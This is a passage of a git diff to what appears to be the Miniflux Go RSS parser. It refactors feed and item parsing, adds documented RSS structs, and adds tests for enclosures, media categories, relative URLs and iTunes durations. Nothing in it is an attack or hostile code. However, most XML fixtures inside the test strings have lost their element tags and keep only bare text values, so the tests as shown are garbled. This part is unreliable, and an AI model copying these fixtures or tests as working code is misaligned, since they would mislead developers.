feed.SiteURL = siteURL + } + + // Try to find the feed URL from the Atom links. + for _, atomLink := range r.rss.Channel.AtomLinks.Links { + atomLinkHref := strings.TrimSpace(atomLink.Href) + if atomLinkHref != "" && atomLink.Rel == "self" { + if absoluteFeedURL, err := urllib.AbsoluteURL(feed.FeedURL, atomLinkHref); err == nil { + feed.FeedURL = absoluteFeedURL + break + } + } + } + + // Fallback to the site URL if the title is empty. + if feed.Title == "" { + feed.Title = feed.SiteURL + } + + // Get TTL if defined. + if r.rss.Channel.TTL != "" { + if ttl, err := strconv.Atoi(r.rss.Channel.TTL); err == nil { + feed.TTL = ttl + } + } + + // Get the feed icon URL if defined. + if r.rss.Channel.Image != nil { + if absoluteIconURL, err := urllib.AbsoluteURL(feed.SiteURL, r.rss.Channel.Image.URL); err == nil { + feed.IconURL = absoluteIconURL + } + } + + for _, item := range r.rss.Channel.Items { + entry := model.NewEntry() + entry.Date = findEntryDate(&item) + entry.Content = findEntryContent(&item) + entry.Enclosures = findEntryEnclosures(&item, feed.SiteURL) + + // Populate the entry URL. + entryURL := findEntryURL(&item) + if entryURL == "" { + entry.URL = feed.SiteURL + } else { + if absoluteEntryURL, err := urllib.AbsoluteURL(feed.SiteURL, entryURL); err == nil { + entry.URL = absoluteEntryURL + } else { + entry.URL = entryURL + } + } + + // Populate the entry title. + entry.Title = findEntryTitle(&item) + if entry.Title == "" { + entry.Title = sanitizer.TruncateHTML(entry.Content, 100) + if entry.Title == "" { + entry.Title = entry.URL + } + } + + entry.Author = findEntryAuthor(&item) + if entry.Author == "" { + entry.Author = findFeedAuthor(&r.rss.Channel) + } + + // Generate the entry hash. + if item.GUID.Data != "" { + entry.Hash = crypto.Hash(item.GUID.Data) + } else if entryURL != "" { + entry.Hash = crypto.Hash(entryURL) + } + + // Find CommentsURL if defined. + if absoluteCommentsURL := strings.TrimSpace(item.CommentsURL); absoluteCommentsURL != "" && urllib.IsAbsoluteURL(absoluteCommentsURL) { + entry.CommentsURL = absoluteCommentsURL + } + + // Set podcast listening time. + if item.ItunesDuration != "" { + if duration, err := getDurationInMinutes(item.ItunesDuration); err == nil { + entry.ReadingTime = duration + } + } + + // Populate entry categories. + for _, tag := range item.Categories { + if tag != "" { + entry.Tags = append(entry.Tags, tag) + } + } + for _, tag := range item.MediaCategories.Labels() { + if tag != "" { + entry.Tags = append(entry.Tags, tag) + } + } + if len(entry.Tags) == 0 { + for _, tag := range r.rss.Channel.Categories { + if tag != "" { + entry.Tags = append(entry.Tags, tag) + } + } + for _, tag := range r.rss.Channel.GetItunesCategories() { + if tag != "" { + entry.Tags = append(entry.Tags, tag) + } + } + if r.rss.Channel.GooglePlayCategory.Text != "" { + entry.Tags = append(entry.Tags, r.rss.Channel.GooglePlayCategory.Text) + } + } + + feed.Entries = append(feed.Entries, entry) + } + + return feed +} + +func findFeedAuthor(rssChannel *RSSChannel) string { + var author string + switch { + case rssChannel.ItunesAuthor != "": + author = rssChannel.ItunesAuthor + case rssChannel.GooglePlayAuthor != "": + author = rssChannel.GooglePlayAuthor + case rssChannel.ItunesOwner.String() != "": + author = rssChannel.ItunesOwner.String() + case rssChannel.ManagingEditor != "": + author = rssChannel.ManagingEditor + case rssChannel.Webmaster != "": + author = rssChannel.Webmaster + } + return sanitizer.StripTags(strings.TrimSpace(author)) +} + +func findEntryTitle(rssItem *RSSItem) string { + title := rssItem.Title + + if rssItem.DublinCoreTitle != "" { + title = rssItem.DublinCoreTitle + } + + return html.UnescapeString(strings.TrimSpace(title)) +} + +func findEntryURL(rssItem *RSSItem) string { + for _, link := range []string{rssItem.FeedBurnerLink, rssItem.Link} { + if link != "" { + return strings.TrimSpace(link) + } + } + + for _, atomLink := range rssItem.AtomLinks.Links { + if atomLink.Href != "" && (strings.EqualFold(atomLink.Rel, "alternate") || atomLink.Rel == "") { + return strings.TrimSpace(atomLink.Href) + } + } + + // Specs: https://cyber.harvard.edu/rss/rss.html#ltguidgtSubelementOfLtitemgt + // isPermaLink is optional, its default value is true. + // If its value is false, the guid may not be assumed to be a url, or a url to anything in particular. + if rssItem.GUID.IsPermaLink == "true" || rssItem.GUID.IsPermaLink == "" { + return strings.TrimSpace(rssItem.GUID.Data) + } + + return "" +} + +func findEntryContent(rssItem *RSSItem) string { + for _, value := range []string{ + rssItem.DublinCoreContent, + rssItem.Description, + rssItem.GooglePlayDescription, + rssItem.ItunesSummary, + rssItem.ItunesSubtitle, + } { + if value != "" { + return value + } + } + return "" +} + +func findEntryDate(rssItem *RSSItem) time.Time { + value := rssItem.PubDate + if rssItem.DublinCoreDate != "" { + value = rssItem.DublinCoreDate + } + + if value != "" { + result, err := date.Parse(value) + if err != nil { + slog.Debug("Unable to parse date from RSS feed", + slog.String("date", value), + slog.String("guid", rssItem.GUID.Data), + slog.Any("error", err), + ) + return time.Now() + } + + return result + } + + return time.Now() +} + +func findEntryAuthor(rssItem *RSSItem) string { + var author string + + switch { + case rssItem.GooglePlayAuthor != "": + author = rssItem.GooglePlayAuthor + case rssItem.ItunesAuthor != "": + author = rssItem.ItunesAuthor + case rssItem.DublinCoreCreator != "": + author = rssItem.DublinCoreCreator + case rssItem.AtomAuthor.PersonName() != "": + author = rssItem.AtomAuthor.PersonName() + case strings.Contains(rssItem.Author.Inner, " + + + Example + https://example.org/ + + + Test + https://example.org/item + + + ` + + feed, err := Parse("https://example.org/ ", bytes.NewReader([]byte(data))) + if err != nil { + t.Fatal(err) + } + + if feed.FeedURL != "https://example.org/rss" { + t.Errorf("Incorrect feed URL, got: %s", feed.FeedURL) + } +} + +func TestParseFeedWithRelativeFeedURL(t *testing.T) { + data := ` + + + Example + https://example.org/ + + + Test + https://example.org/item + + + ` + + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + if err != nil { + t.Fatal(err) + } + + if feed.FeedURL != "https://example.org/rss" { + t.Errorf("Incorrect feed URL, got: %s", feed.FeedURL) + } +} + +func TestParseFeedSiteURLWithTrailingSpace(t *testing.T) { + data := ` + + + Example + https://example.org/ + + Test + https://example.org/item + + + ` + + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + if err != nil { + t.Fatal(err) + } + + if feed.SiteURL != "https://example.org/" { + t.Errorf("Incorrect site URL, got: %s", feed.SiteURL) + } +} + +func TestParseFeedWithRelativeSiteURL(t *testing.T) { + data := ` + + + Example + /example + + Test + https://example.org/item + + + ` + + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + if err != nil { + t.Fatal(err) + } + + if feed.SiteURL != "https://example.org/example" { + t.Errorf("Incorrect site URL, got: %s", feed.SiteURL) + } +} + func TestParseFeedWithoutTitle(t *testing.T) { data := ` @@ -746,6 +840,106 @@ func TestParseEntryWithContentEncoded(t *testing.T) { } } +// https://www.rssboard.org/rss-encoding-examples +func TestParseEntryDescriptionWithEncodedHTMLTags(t *testing.T) { + data := ` + + + Example + http://example.org/ + + Item 1 + http://example.org/item1 + this is <b>bold</b> + + + ` + + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + if err != nil { + t.Fatal(err) + } + + if feed.Entries[0].Content != `this is bold` { + t.Errorf("Incorrect entry content, got: %q", feed.Entries[0].Content) + } +} + +// https://www.rssboard.org/rss-encoding-examples +func TestParseEntryWithDescriptionWithHTMLCDATA(t *testing.T) { + data := ` + + + Example + http://example.org/ + + Item 1 + http://example.org/item1 + bold]]> + + + ` + + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + if err != nil { + t.Fatal(err) + } + + if feed.Entries[0].Content != `this is bold` { + t.Errorf("Incorrect entry content, got: %q", feed.Entries[0].Content) + } +} + +// https://www.rssboard.org/rss-encoding-examples +func TestParseEntryDescriptionWithEncodingAngleBracketsInText(t *testing.T) { + data := ` + + + Example + http://example.org/ + + Item 1 + http://example.org/item1 + 5 &lt; 8, ticker symbol &lt;BIGCO&gt; + + + ` + + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + if err != nil { + t.Fatal(err) + } + + if feed.Entries[0].Content != `5 < 8, ticker symbol <BIGCO>` { + t.Errorf("Incorrect entry content, got: %q", feed.Entries[0].Content) + } +} + +// https://www.rssboard.org/rss-encoding-examples +func TestParseEntryDescriptionWithEncodingAngleBracketsWithinCDATASection(t *testing.T) { + data := ` + + + Example + http://example.org/ + + Item 1 + http://example.org/item1 + + + + ` + + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + if err != nil { + t.Fatal(err) + } + + if feed.Entries[0].Content != `5 < 8, ticker symbol <BIGCO>` { + t.Errorf("Incorrect entry content, got: %q", feed.Entries[0].Content) + } +} + func TestParseEntryWithFeedBurnerLink(t *testing.T) { data := ` @@ -822,15 +1016,11 @@ func TestParseEntryWithEnclosures(t *testing.T) { } if len(feed.Entries) != 1 { - t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries)) - } - - if feed.Entries[0].URL != "http://www.example.org/entries/1" { - t.Errorf("Incorrect entry URL, got: %s", feed.Entries[0].URL) + t.Fatalf("Incorrect number of entries, got: %d", len(feed.Entries)) } if len(feed.Entries[0].Enclosures) != 1 { - t.Errorf("Incorrect number of enclosures, got: %d", len(feed.Entries[0].Enclosures)) + t.Fatalf("Incorrect number of enclosures, got: %d", len(feed.Entries[0].Enclosures)) } if feed.Entries[0].Enclosures[0].URL != "http://www.example.org/myaudiofile.mp3" { @@ -846,6 +1036,88 @@ func TestParseEntryWithEnclosures(t *testing.T) { } } +func TestParseEntryWithIncorrectEnclosureLength(t *testing.T) { + data := ` + + + My Podcast Feed + http://example.org + some.email@example.org + + Podcasting with RSS + http://www.example.org/entries/1 + An overview of RSS podcasting + Fri, 15 Jul 2005 00:00:00 -0500 + http://www.example.org/entries/1 + + + + + ` + + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + if err != nil { + t.Fatal(err) + } + + if len(feed.Entries) != 1 { + t.Fatalf("Incorrect number of entries, got: %d", len(feed.Entries)) + } + + if len(feed.Entries[0].Enclosures) != 2 { + t.Fatalf("Incorrect number of enclosures, got: %d", len(feed.Entries[0].Enclosures)) + } + + if feed.Entries[0].Enclosures[0].URL != "http://www.example.org/myaudiofile.mp3" { + t.Errorf("Incorrect enclosure URL, got: %s", feed.Entries[0].Enclosures[0].URL) + } + + if feed.Entries[0].Enclosures[0].MimeType != "audio/mpeg" { + t.Errorf("Incorrect enclosure type, got: %s", feed.Entries[0].Enclosures[0].MimeType) + } + + if feed.Entries[0].Enclosures[0].Size != 0 { + t.Errorf("Incorrect enclosure length, got: %d", feed.Entries[0].Enclosures[0].Size) + } + + if feed.Entries[0].Enclosures[1].Size != 0 { + t.Errorf("Incorrect enclosure length, got: %d", feed.Entries[0].Enclosures[0].Size) + } +} + +func TestParseEntryWithDuplicatedEnclosureURL(t *testing.T) { + data := ` + + + My Podcast Feed + http://example.org + + Podcasting with RSS + http://www.example.org/entries/1 + + + + + ` + + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + if err != nil { + t.Fatal(err) + } + + if len(feed.Entries) != 1 { + t.Fatalf("Incorrect number of entries, got: %d", len(feed.Entries)) + } + + if len(feed.Entries[0].Enclosures) != 1 { + t.Fatalf("Incorrect number of enclosures, got: %d", len(feed.Entries[0].Enclosures)) + } + + if feed.Entries[0].Enclosures[0].URL != "http://www.example.org/myaudiofile.mp3" { + t.Errorf("Incorrect enclosure URL, got: %s", feed.Entries[0].Enclosures[0].URL) + } +} + func TestParseEntryWithEmptyEnclosureURL(t *testing.T) { data := ` @@ -859,7 +1131,7 @@ func TestParseEntryWithEmptyEnclosureURL(t *testing.T) { An overview of RSS podcasting Fri, 15 Jul 2005 00:00:00 -0500 http://www.example.org/entries/1 - + ` @@ -870,15 +1142,47 @@ func TestParseEntryWithEmptyEnclosureURL(t *testing.T) { } if len(feed.Entries) != 1 { - t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries)) - } - - if feed.Entries[0].URL != "http://www.example.org/entries/1" { - t.Errorf("Incorrect entry URL, got: %s", feed.Entries[0].URL) + t.Fatalf("Incorrect number of entries, got: %d", len(feed.Entries)) } if len(feed.Entries[0].Enclosures) != 0 { - t.Errorf("Incorrect number of enclosures, got: %d", len(feed.Entries[0].Enclosures)) + t.Fatalf("Incorrect number of enclosures, got: %d", len(feed.Entries[0].Enclosures)) + } +} + +func TestParseEntryWithRelativeEnclosureURL(t *testing.T) { + data := ` + + + My Podcast Feed + http://example.org + some.email@example.org + + Podcasting with RSS + http://www.example.org/entries/1 + An overview of RSS podcasting + Fri, 15 Jul 2005 00:00:00 -0500 + http://www.example.org/entries/1 + + + + ` + + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + if err != nil { + t.Fatal(err) + } + + if len(feed.Entries) != 1 { + t.Fatalf("Incorrect number of entries, got: %d", len(feed.Entries)) + } + + if len(feed.Entries[0].Enclosures) != 1 { + t.Fatalf("Incorrect number of enclosures, got: %d", len(feed.Entries[0].Enclosures)) + } + + if feed.Entries[0].Enclosures[0].URL != "http://example.org/files/file.mp3" { + t.Errorf("Incorrect enclosure URL, got: %q", feed.Entries[0].Enclosures[0].URL) } } @@ -907,15 +1211,11 @@ func TestParseEntryWithFeedBurnerEnclosures(t *testing.T) { } if len(feed.Entries) != 1 { - t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries)) - } - - if feed.Entries[0].URL != "http://www.example.org/entries/1" { - t.Errorf("Incorrect entry URL, got: %s", feed.Entries[0].URL) + t.Fatalf("Incorrect number of entries, got: %d", len(feed.Entries)) } if len(feed.Entries[0].Enclosures) != 1 { - t.Errorf("Incorrect number of enclosures, got: %d", len(feed.Entries[0].Enclosures)) + t.Fatalf("Incorrect number of enclosures, got: %d", len(feed.Entries[0].Enclosures)) } if feed.Entries[0].Enclosures[0].URL != "http://example.org/67ca416c-f22a-4228-a681-68fc9998ec10/File.mp3" { @@ -931,6 +1231,42 @@ func TestParseEntryWithFeedBurnerEnclosures(t *testing.T) { } } +func TestParseEntryWithFeedBurnerEnclosuresAndRelativeURL(t *testing.T) { + data := ` + + + My Example Feed + http://example.org + + Example Item + http://www.example.org/entries/1 + + /67ca416c-f22a-4228-a681-68fc9998ec10/File.mp3 + + + ` + + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + if err != nil { + t.Fatal(err) + } + + if len(feed.Entries) != 1 { + t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries)) + } + + if len(feed.Entries[0].Enclosures) != 1 { + t.Fatalf("Incorrect number of enclosures, got: %d", len(feed.Entries[0].Enclosures)) + } + + if feed.Entries[0].Enclosures[0].URL != "http://example.org/67ca416c-f22a-4228-a681-68fc9998ec10/File.mp3" { + t.Errorf("Incorrect enclosure URL, got: %s", feed.Entries[0].Enclosures[0].URL) + } +} + func TestParseEntryWithRelativeURL(t *testing.T) { data := ` @@ -1142,7 +1478,7 @@ func TestParseEntryWithMediaGroup(t *testing.T) { My Example Feed - http://example.org + https://example.org Example Item http://www.example.org/entries/1 @@ -1153,7 +1489,9 @@ func TestParseEntryWithMediaGroup(t *testing.T) { - + + + nonadult @@ -1206,15 +1544,19 @@ func TestParseEntryWithMediaContent(t *testing.T) { My Example Feed - http://example.org + https://example.org Example Item http://www.example.org/entries/1 + + + Some Title for Media 1 - + + ` @@ -1225,9 +1567,9 @@ func TestParseEntryWithMediaContent(t *testing.T) { } if len(feed.Entries) != 1 { - t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries)) + t.Fatalf("Incorrect number of entries, got: %d", len(feed.Entries)) } - if len(feed.Entries[0].Enclosures) != 3 { + if len(feed.Entries[0].Enclosures) != 4 { t.Fatalf("Incorrect number of enclosures, got: %d", len(feed.Entries[0].Enclosures)) } @@ -1236,6 +1578,7 @@ func TestParseEntryWithMediaContent(t *testing.T) { mimeType string size int64 }{ + {"https://example.org/thumbnail.jpg", "image/*", 0}, {"https://example.org/thumbnail.jpg", "image/*", 0}, {"https://example.org/media1.jpg", "image/*", 0}, {"https://example.org/media2.jpg", "image/*", 0}, @@ -1261,11 +1604,14 @@ func TestParseEntryWithMediaPeerLink(t *testing.T) { My Example Feed - http://example.org + https://website.example.org Example Item http://www.example.org/entries/1 - + + + + ` @@ -1276,10 +1622,10 @@ func TestParseEntryWithMediaPeerLink(t *testing.T) { } if len(feed.Entries) != 1 { - t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries)) + t.Fatalf("Incorrect number of entries, got: %d", len(feed.Entries)) } - if len(feed.Entries[0].Enclosures) != 1 { + if len(feed.Entries[0].Enclosures) != 2 { t.Fatalf("Incorrect number of enclosures, got: %d", len(feed.Entries[0].Enclosures)) } @@ -1288,7 +1634,8 @@ func TestParseEntryWithMediaPeerLink(t *testing.T) { mimeType string size int64 }{ - {"http://www.example.org/file.torrent", "application/x-bittorrent", 0}, + {"https://www.example.org/file.torrent", "application/x-bittorrent", 0}, + {"https://website.example.org/file2.torrent", "application/x-bittorrent", 0}, } for index, enclosure := range feed.Entries[0].Enclosures { @@ -1306,6 +1653,60 @@ func TestParseEntryWithMediaPeerLink(t *testing.T) { } } +func TestParseItunesDuration(t *testing.T) { + data := ` + + + Podcast Example + http://www.example.com/index.html + + Podcast Episode + http://example.com/episode.m4a + Tue, 08 Mar 2016 12:00:00 GMT + 1:23:45 + + + ` + + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + if err != nil { + t.Fatal(err) + } + + expected := 83 + result := feed.Entries[0].ReadingTime + if expected != result { + t.Errorf(`Unexpected podcast duration, got %d instead of %d`, result, expected) + } +} + +func TestParseIncorrectItunesDuration(t *testing.T) { + data := ` + + + Podcast Example + http://www.example.com/index.html + + Podcast Episode + http://example.com/episode.m4a + Tue, 08 Mar 2016 12:00:00 GMT + invalid + + + ` + + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + if err != nil { + t.Fatal(err) + } + + expected := 0 + result := feed.Entries[0].ReadingTime + if expected != result { + t.Errorf(`Unexpected podcast duration, got %d instead of %d`, result, expected) + } +} + func TestEntryDescriptionFromItunesSummary(t *testing.T) { data := ` @@ -1489,11 +1890,11 @@ func TestParseEntryWithCategories(t *testing.T) { t.Fatal(err) } - if len(feed.Entries[0].Tags) != 3 { - t.Errorf("Incorrect number of tags, got: %d", len(feed.Entries[0].Tags)) + if len(feed.Entries[0].Tags) != 2 { + t.Fatalf("Incorrect number of tags, got: %d", len(feed.Entries[0].Tags)) } - expected := []string{"Category 1", "Category 2", "Category 3"} + expected := []string{"Category 1", "Category 2"} result := feed.Entries[0].Tags for i, tag := range result { @@ -1574,6 +1975,42 @@ func TestParseFeedWithGooglePlayCategory(t *testing.T) { } } +func TestParseEntryWithMediaCategories(t *testing.T) { + data := ` + + + Example + https://example.org/ + + Test + https://example.org/item + visual_art + music/artist/album/song + ycantpark mobile + Arts/Movies/Titles/A/Ace_Ventura_Series/Ace_Ventura_ -_Pet_Detective + + + ` + + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + if err != nil { + t.Fatal(err) + } + + if len(feed.Entries[0].Tags) != 2 { + t.Errorf("Incorrect number of tags, got: %d", len(feed.Entries[0].Tags)) + } + + expected := []string{"Visual Art", "Ace Ventura - Pet Detective"} + result := feed.Entries[0].Tags + + for i, tag := range result { + if tag != expected[i] { + t.Errorf("Incorrect tag, got: %q", tag) + } + } +} + func TestParseFeedWithTTLField(t *testing.T) { data := ` diff --git a/internal/reader/rss/podcast.go b/internal/reader/rss/podcast.go index 9a1f365b..7fd93f4a 100644 --- a/internal/reader/rss/podcast.go +++ b/internal/reader/rss/podcast.go @@ -12,8 +12,7 @@ import ( var ErrInvalidDurationFormat = errors.New("rss: invalid duration format") -// normalizeDuration returns the duration tag value as a number of minutes -func normalizeDuration(rawDuration string) (int, error) { +func getDurationInMinutes(rawDuration string) (int, error) { var sumSeconds int durationParts := strings.Split(rawDuration, ":") diff --git a/internal/reader/rss/rss.go b/internal/reader/rss/rss.go index be53c4b0..bc99b461 100644 --- a/internal/reader/rss/rss.go +++ b/internal/reader/rss/rss.go @@ -5,391 +5,196 @@ package rss // import "miniflux.app/v2/internal/reader/rss" import ( "encoding/xml" - "html" - "log/slog" - "path" "strconv" "strings" - "time" - "miniflux.app/v2/internal/crypto" - "miniflux.app/v2/internal/model" - "miniflux.app/v2/internal/reader/date" "miniflux.app/v2/internal/reader/dublincore" "miniflux.app/v2/internal/reader/googleplay" "miniflux.app/v2/internal/reader/itunes" "miniflux.app/v2/internal/reader/media" - "miniflux.app/v2/internal/reader/sanitizer" - "miniflux.app/v2/internal/urllib" ) // Specs: https://www.rssboard.org/rss-specification -type rssFeed struct { - XMLName xml.Name `xml:"rss"` - Version string `xml:"rss version,attr"` - Channel rssChannel `xml:"rss channel"` +type RSS struct { + // Version is the version of the RSS specification. + Version string `xml:"rss version,attr"` + + // Channel is the main container for the RSS feed. + Channel RSSChannel `xml:"rss channel"` } -type rssChannel struct { - Categories []string `xml:"rss category"` - Title string `xml:"rss title"` - Link string `xml:"rss link"` - ImageURL string `xml:"rss image>url"` - Language string `xml:"rss language"` - Description string `xml:"rss description"` - PubDate string `xml:"rss pubDate"` - ManagingEditor string `xml:"rss managingEditor"` - Webmaster string `xml:"rss webMaster"` - TimeToLive rssTTL `xml:"rss ttl"` - Items []rssItem `xml:"rss item"` +type RSSChannel struct { + // Title is the name of the channel. + Title string `xml:"rss title"` + + // Link is the URL to the HTML website corresponding to the channel. + Link string `xml:"rss link"` + + // Description is a phrase or sentence describing the channel. + Description string `xml:"rss description"` + + // Language is the language the channel is written in. + // A list of allowable values for this element, as provided by Netscape, is here: https://www.rssboard.org/rss-language-codes. + // You may also use values defined by the W3C: https://www.w3.org/TR/REC-html40/struct/dirlang.html#langcodes. + Language string `xml:"rss language"` + + // Copyright is a string indicating the copyright. + Copyright string `xml:"rss copyRight"` + + // ManagingEditor is the email address for the person responsible for editorial content. + ManagingEditor string `xml:"rss managingEditor"` + + // Webmaster is the email address for the person responsible for technical issues relating to the channel. + Webmaster string `xml:"rss webMaster"` + + // PubDate is the publication date for the content in the channel. + // All date-times in RSS conform to the Date and Time Specification of RFC 822, with the exception that the year may be expressed with two characters or four characters (four preferred). + PubDate string `xml:"rss pubDate"` + + // LastBuildDate is the last time the content of the channel changed. + LastBuildDate string `xml:"rss lastBuildDate"` + + // Categories is a collection of categories to which the channel belongs. + Categories []string `xml:"rss category"` + + // Generator is a string indicating the program used to generate the channel. + Generator string `xml:"rss generator"` + + // Docs is a URL that points to the documentation for the format used in the RSS file. + DocumentationURL string `xml:"rss docs"` + + // Cloud is a web service that supports the rssCloud interface which can be implemented in HTTP-POST, XML-RPC or SOAP 1.1. + Cloud *RSSCloud `xml:"rss cloud"` + + // Image specifies a GIF, JPEG or PNG image that can be displayed with the channel. + Image *RSSImage `xml:"rss image"` + + // TTL is a number of minutes that indicates how long a channel can be cached before refreshing from the source. + TTL string `xml:"rss ttl"` + + // SkipHours is a hint for aggregators telling them which hours they can skip. + // An XML element that contains up to 24 sub-elements whose value is a number between 0 and 23, + // representing a time in GMT, when aggregators, + // if they support the feature, may not read the channel on hours listed in the skipHours element. + SkipHours []string `xml:"rss skipHours>hour"` + + // SkipDays is a hint for aggregators telling them which days they can skip. + // An XML element that contains up to seven sub-elements whose value is Monday, Tuesday, Wednesday, Thursday, Friday, Saturday or Sunday. + SkipDays []string `xml:"rss skipDays>day"` + + // Items is a collection of items. + Items []RSSItem `xml:"rss item"` + AtomLinks - itunes.ItunesFeedElement - googleplay.GooglePlayFeedElement + itunes.ItunesChannelElement + googleplay.GooglePlayChannelElement } -type rssTTL struct { - Data string `xml:",chardata"` +type RSSCloud struct { + Domain string `xml:"domain,attr"` + Port string `xml:"port,attr"` + Path string `xml:"path,attr"` + RegisterProcedure string `xml:"registerProcedure,attr"` + Protocol string `xml:"protocol,attr"` } -func (r *rssTTL) Value() int { - if r.Data == "" { - return 0 - } +type RSSImage struct { + // URL is the URL of a GIF, JPEG or PNG image that represents the channel. + URL string `xml:"url"` - value, err := strconv.Atoi(r.Data) - if err != nil { - return 0 - } + // Title describes the image, it's used in the ALT attribute of the HTML tag when the channel is rendered in HTML. + Title string `xml:"title"` - return value + // Link is the URL of the site, when the channel is rendered, the image is a link to the site. + Link string `xml:"link"` } -func (r *rssFeed) Transform(baseURL string) *model.Feed { - var err error +type RSSItem struct { + // Title is the title of the item. + Title string `xml:"rss title"` - feed := new(model.Feed) + // Link is the URL of the item. + Link string `xml:"rss link"` - siteURL := r.siteURL() - feed.SiteURL, err = urllib.AbsoluteURL(baseURL, siteURL) - if err != nil { - feed.SiteURL = siteURL - } + // Description is the item synopsis. + Description string `xml:"rss description"` - feedURL := r.feedURL() - feed.FeedURL, err = urllib.AbsoluteURL(baseURL, feedURL) - if err != nil { - feed.FeedURL = feedURL - } + // Author is the email address of the author of the item. + Author RSSAuthor `xml:"rss author"` - feed.Title = html.UnescapeString(strings.TrimSpace(r.Channel.Title)) - if feed.Title == "" { - feed.Title = feed.SiteURL - } + // is an optional sub-element of . + // It has one optional attribute, domain, a string that identifies a categorization taxonomy. + Categories []string `xml:"rss category"` - feed.IconURL = strings.TrimSpace(r.Channel.ImageURL) - feed.TTL = r.Channel.TimeToLive.Value() + // is an optional sub-element of . + // If present, it contains the URL of the comments page for the item. + CommentsURL string `xml:"rss comments"` - for _, item := range r.Channel.Items { - entry := item.Transform() - if entry.Author == "" { - entry.Author = r.feedAuthor() - } + // is an optional sub-element of . + // It has three required attributes. url says where the enclosure is located, + // length says how big it is in bytes, and type says what its type is, a standard MIME type. + Enclosures []RSSEnclosure `xml:"rss enclosure"` - if entry.URL == "" { - entry.URL = feed.SiteURL - } else { - entryURL, err := urllib.AbsoluteURL(feed.SiteURL, entry.URL) - if err == nil { - entry.URL = entryURL - } - } + // is an optional sub-element of . + // It's a string that uniquely identifies the item. + // When present, an aggregator may choose to use this string to determine if an item is new. + // + // There are no rules for the syntax of a guid. + // Aggregators must view them as a string. + // It's up to the source of the feed to establish the uniqueness of the string. + // + // If the guid element has an attribute named isPermaLink with a value of true, + // the reader may assume that it is a permalink to the item, that is, a url that can be opened in a Web browser, + // that points to the full item described by the element. + // + // isPermaLink is optional, its default value is true. + // If its value is false, the guid may not be assumed to be a url, or a url to anything in particular. + GUID RSSGUID `xml:"rss guid"` - if entry.Title == "" { - entry.Title = sanitizer.TruncateHTML(entry.Content, 100) - } + // is the publication date of the item. + // Its value is a string in RFC 822 format. + PubDate string `xml:"rss pubDate"` - if entry.Title == "" { - entry.Title = entry.URL - } + // is an optional sub-element of . + // Its value is the name of the RSS channel that the item came from, derived from its . + // It has one required attribute, url, which contains the URL of the RSS channel. + Source RSSSource `xml:"rss source"` - entry.Tags = append(entry.Tags, r.Channel.Categories...) - entry.Tags = append(entry.Tags, r.Channel.GetItunesCategories()...) - - if r.Channel.GooglePlayCategory.Text != "" { - entry.Tags = append(entry.Tags, r.Channel.GooglePlayCategory.Text) - } - - feed.Entries = append(feed.Entries, entry) - } - - return feed -} - -func (r *rssFeed) siteURL() string { - return strings.TrimSpace(r.Channel.Link) -} - -func (r *rssFeed) feedURL() string { - for _, atomLink := range r.Channel.AtomLinks.Links { - if atomLink.Rel == "self" { - return strings.TrimSpace(atomLink.URL) - } - } - return "" -} - -func (r rssFeed) feedAuthor() string { - var author string - switch { - case r.Channel.ItunesAuthor != "": - author = r.Channel.ItunesAuthor - case r.Channel.GooglePlayAuthor != "": - author = r.Channel.GooglePlayAuthor - case r.Channel.ItunesOwner.String() != "": - author = r.Channel.ItunesOwner.String() - case r.Channel.ManagingEditor != "": - author = r.Channel.ManagingEditor - case r.Channel.Webmaster != "": - author = r.Channel.Webmaster - } - return sanitizer.StripTags(strings.TrimSpace(author)) -} - -type rssGUID struct { - XMLName xml.Name - Data string `xml:",chardata"` - IsPermaLink string `xml:"isPermaLink,attr"` -} - -type rssAuthor struct { - XMLName xml.Name - Data string `xml:",chardata"` - Inner string `xml:",innerxml"` -} - -type rssEnclosure struct { - URL string `xml:"url,attr"` - Type string `xml:"type,attr"` - Length string `xml:"length,attr"` -} - -func (enclosure *rssEnclosure) Size() int64 { - if enclosure.Length == "" { - return 0 - } - size, _ := strconv.ParseInt(enclosure.Length, 10, 0) - return size -} - -type rssItem struct { - GUID rssGUID `xml:"rss guid"` - Title string `xml:"rss title"` - Link string `xml:"rss link"` - Description string `xml:"rss description"` - PubDate string `xml:"rss pubDate"` - Author rssAuthor `xml:"rss author"` - Comments string `xml:"rss comments"` - EnclosureLinks []rssEnclosure `xml:"rss enclosure"` - Categories []string `xml:"rss category"` dublincore.DublinCoreItemElement - FeedBurnerElement - media.Element + FeedBurnerItemElement + media.MediaItemElement AtomAuthor AtomLinks itunes.ItunesItemElement googleplay.GooglePlayItemElement } -func (r *rssItem) Transform() *model.Entry { - entry := model.NewEntry() - entry.URL = r.entryURL() - entry.CommentsURL = r.entryCommentsURL() - entry.Date = r.entryDate() - entry.Author = r.entryAuthor() - entry.Hash = r.entryHash() - entry.Content = r.entryContent() - entry.Title = r.entryTitle() - entry.Enclosures = r.entryEnclosures() - entry.Tags = r.Categories - if duration, err := normalizeDuration(r.ItunesDuration); err == nil { - entry.ReadingTime = duration - } - - return entry +type RSSAuthor struct { + XMLName xml.Name + Data string `xml:",chardata"` + Inner string `xml:",innerxml"` } -func (r *rssItem) entryDate() time.Time { - value := r.PubDate - if r.DublinCoreDate != "" { - value = r.DublinCoreDate - } - - if value != "" { - result, err := date.Parse(value) - if err != nil { - slog.Debug("Unable to parse date from RSS feed", - slog.String("date", value), - slog.String("guid", r.GUID.Data), - slog.Any("error", err), - ) - return time.Now() - } - - return result - } - - return time.Now() +type RSSEnclosure struct { + URL string `xml:"url,attr"` + Type string `xml:"type,attr"` + 